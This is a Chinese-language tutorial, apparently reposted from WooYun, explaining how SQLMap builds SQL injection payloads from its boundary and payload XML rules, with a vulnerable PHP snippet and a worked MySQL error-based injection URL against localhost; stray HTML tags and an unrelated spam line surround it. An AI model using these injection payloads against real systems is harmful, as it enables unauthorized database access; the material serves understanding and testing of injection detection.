<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/8614

                    0x00 前言


                    談到SQL注入,那麼第一時間就會想到神器SQLMAP,SQLMap是一款用來檢測與利用的SQL注入開源工具。那麼SQLMap在掃描SQL的邏輯到底是怎樣實現的呢,接下來就探討下SQLMap的掃描邏輯,通過了解SQLMap的掃描邏輯打造一款屬于自己的SQL掃描工具。

                    0x01 SQL掃描規則:


                    要了解SQLMap的掃描規則,也就是Payload,那麼到底Payload是哪里來,是根據什么邏輯生成的呢,接下來必須先了解幾個文件的,SQLMap的掃描規則文件位于\xml文件夾中,其中boundaries.xml與Payloads文件夾則為SQLMap的掃描規則所在,\xml\payloads中的6個文件,里面的6個文件分別是存放著不同注入手法的PAYLOAD。

                    那麼就必須了解兩個格式,一是boundary文件,一是payloads。

                    例子:

                    #!html
                    <boundary>
                        <level>1</level>
                        <clause>1</clause>
                        <where>1,2</where>
                        <ptype>1</ptype>
                        <prefix>'</prefix>
                        <suffix> AND '[RANDSTR]'='[RANDSTR]</suffix>
                    </boundary>
                    
                    1. clause與where屬性

                      這兩個元素的作用是限制boundary所使用的范圍,可以理解成當且僅當某個boundary元素的where節點的值包含test元素的子節點,clause節點的值包含test元素的子節點的時候,該boundary才能和當前的test匹配,從而進一步生成payload。

                    2. prefix與suffix屬性

                    要理解這兩個屬性的作用,那麼就先利用一段代碼去講解。

                    #!javascript
                    function getattachtablebypid($pid) {
                        $tableid = DB::result_first("SELECT tableid FROM ".DB::table('forum_attachment')." WHERE pid='$pid' LIMIT 1");
                        return 'forum_attachment_'.($tableid >= 0 && $tableid < 10 ? intval($tableid) : 'unused');
                    }
                    

                    通過代碼我們可以知道pid參與了SQL語句的拼接,那麼如果我們輸入的pid為' AND 'test' = 'test呢,那麼最終拼接起來的SQL語句應該為:

                    #!sql
                    SELECT tableid FROM ".DB::table('forum_attachment')." WHERE pid='' AND 'test' = 'test' LIMIT 1
                    

                    所以如果我們輸入的是' AND 'test' = 'test,那麼最終拼接起來的SQL語句同樣是合法的。那麼我們就可以把所測試的Payload放到prefix與suffix中間,使之最終的SQL合法,從而進行注入測試,所以通過了解,prefix與suffix的作用就是為了截斷SQL的語句,從而讓最終的Payload合法。

                    至此boundary文件的作用已經講解完了,接下來就是payload的講解了。

                    #!html
                    <test>
                        <title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
                        <stype>2</stype>
                        <level>1</level>
                        <risk>1</risk>
                        <clause>1,2,3</clause>
                        <where>1</where>
                        <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>
                        <request><!-- These work as good as ELT(), but are longer<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload><payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>-->
                        <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
                        </request>
                        <response>
                            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
                        </response>
                        <details>
                            <dbms>MySQL</dbms>
                            <dbms_version>&gt;= 5.0</dbms_version>
                        </details>
                    </test>
                    

                    1 title屬性

                    title屬性為當前測試Payload的標題,通過標題就可以了解當前的注入手法與測試的數據庫類型。
                    

                    2 stype屬性

                    這一個屬性標記著當前的注入手法類型,1為布爾類型盲注,2為報錯注入。
                    

                    3 level屬性

                    這個屬性是每個test都有的,他是作用是是限定在SQL測試中處于哪個深度,簡單的來說就是當你在使用SQLMAP進行SQL注入測試的時候,需要指定掃描的level,默認是1,最大為5,當level約高是,所執行的test越多,如果你是指定了level5進行注入測試,那麼估計執行的測試手法會將超過1000個。
                    

                    4 clause與where屬性

                    test中的clause與where屬性與boundary中的clause與where屬性功能是相同的。
                    

                    5 payload屬性

                    這一屬性既是將要進行測試的SQL語句,也是SQLMap掃描邏輯的關鍵,其中的[RANDNUM],[DELIMITER_START],[DELIMITER_STOP]分別代表著隨機數值與字符。當SQLMap掃描時會把對應的隨機數替換掉,然后再與boundary的前綴與后綴拼接起來,最終成為測試的Payload。
                    

                    6 details屬性

                    其子節點會一般有兩個,其dbms子節所代表的是當前Payload所適用的數據庫類型,當前例子中的值為MySQL,則表示其Payload適用的數據庫為MySQL,其dbms_version子節所代表的適用的數據庫版本。
                    

                    7 response屬性

                    這一屬性下的子節點標記著當前測試的Payload測試手法。

                        grep        :報錯注入
                        comparison  :布爾類型忙注入
                        time        :延時注入
                        char        :聯合查詢注入
                    

                    SQLMAP當中的checkSqlInjection函數即是用這一屬性作為判斷依據來進入不同的處理分支。而且其中response屬性中的值則為其SQL注入判斷依據,就如當前的例子中,grep中的值為[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP],SQLMap會將[DELIMITER_START]與[DELIMITER_STOP]替換成Payload中所對應替換的值,然后利用所得到的對返回的頁面信息進行正則匹配,如果存在在判斷為當前存在SQL注入漏洞。

                    其中要注意的是,Payload中的字符串會根據當前Payload所適用的數據庫類型對字符串進行處理,其處理的代碼位于\plugins\dbms下對應數據庫文件夾中的syntax.py腳本中。

                    enter image description here

                    所以最終的payload是根據test的payload子節點和boundary的prefix(前綴)、suffix(后綴)子節點的值組合而成的,即:最終的payload = url參數 + boundary.prefix+test.payload+boundary.suffix

                    0x02 實例


                    接下來以報錯注入來實際講解下Payload與boundary的使用。

                    上例子中的boundary元素中的where節點的值為1,2,含有test元素的where節點的值(1),并且,boundary元素中的clause節點的值為1,含有test元素的where節點的值(1),因此,該boundary和test元素以匹配。test元素的payload的值為:

                    #!sql
                    AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
                    

                    之前已經介紹了最終的Payload是如何的一個格式,所以最后將其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替換掉與轉義之后。

                    則生成的payload類似如下:

                    #!sql
                    [RANDNUM]           = 2214
                    [DELIMITER_START]   = ~!(轉義后則為0x7e21)
                    [DELIMITER_STOP]    = !~(轉義后則為0x217e)
                    Payload: ' AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (CASE WHEN (2214=2214) THEN 1 ELSE 0 END)),0x217e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM
                    

                    如果http://127.0.0.1/search-result.php?keyword=&ad_id=3存在注入的話,那么執行的時候就會報如下錯誤:

                    Duplicate entry '~!1!~1' for key 'group_key'
                    

                    根據之前的講解,那麼最終于測試的URL如下

                    #!sql
                    http://127.0.0.1/search-result.php?keyword=&ad_id=' AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (ELT(2214=2214,1))),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YmRM'='YmRM
                    

                    如下為返回的頁面信息

                    enter image description here

                    后根據grep中的正規來匹配當前頁面。

                    #!sql
                    <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
                    

                    而使用正則:~!(?P<result>.*?)!~來匹配Duplicate entry '~!1!~1' for key 'group_key' 的結果為1,根據匹配的結果可以得出當前的頁面確實存在著SQL注入。

                    0x03 總結


                    通過SQLMap的掃描邏輯,我們可以了解到SQL注入的常規手法與實現,熟悉SQLMap的配置文件之后,自己就可以根據實際的情況對Payload與boundary進行修改,通過增加Payload與boundary來增強SQLMap的掃描規則,也可以利用其掃描規則來打造一款自己的SQL掃描工具。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频